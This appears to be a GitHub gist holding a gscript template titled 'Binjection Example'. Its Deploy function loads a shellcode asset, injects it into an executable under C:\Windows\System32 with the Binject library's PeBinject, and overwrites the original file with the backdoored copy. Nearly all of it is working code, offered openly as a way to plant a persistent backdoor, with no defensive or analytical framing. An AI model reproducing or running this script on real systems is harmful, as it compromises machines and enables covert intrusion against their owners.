Skip to content

Instantly share code, notes, and snippets.

@ahhh
Created July 2, 2020 23:32
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ahhh/2ed07fa3665115c09dde132255db8836 to your computer and use it in GitHub Desktop.
Save ahhh/2ed07fa3665115c09dde132255db8836 to your computer and use it in GitHub Desktop.
Binjection example in gscript
// Example gscript template
// Title: Binjection Example
// Author: ahhh
// Purpose: Replaces an existing binary with a copy that has been backdoored with shellcode
// Gscript version: 1.0.0
// ATT&CK:
//priority:150
//timeout:150
//import:/tmp/loader.bin
//go_import:github.com/Binject/gbj as gbj
function Deploy() {
var target_path = "C:\\\\Windows\\System32\\target_binary.exe";
// Getting our asset
var shellcode = GetAssetAsBytes("loader.bin");
console.log("errors: "+shellcode[1]);
var target_file = G.file.ReadFileAsBytes(target_path);
console.log("errors: "+target_file[1]);
var injected = gbj.PeBinject(target_file[0], shellcode[0])
console.log("errors: "+injected[1]);
errors = G.file.WriteFileFromBytes(target_path, injected[0]);
console.log("errors: "+errors);
return true
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment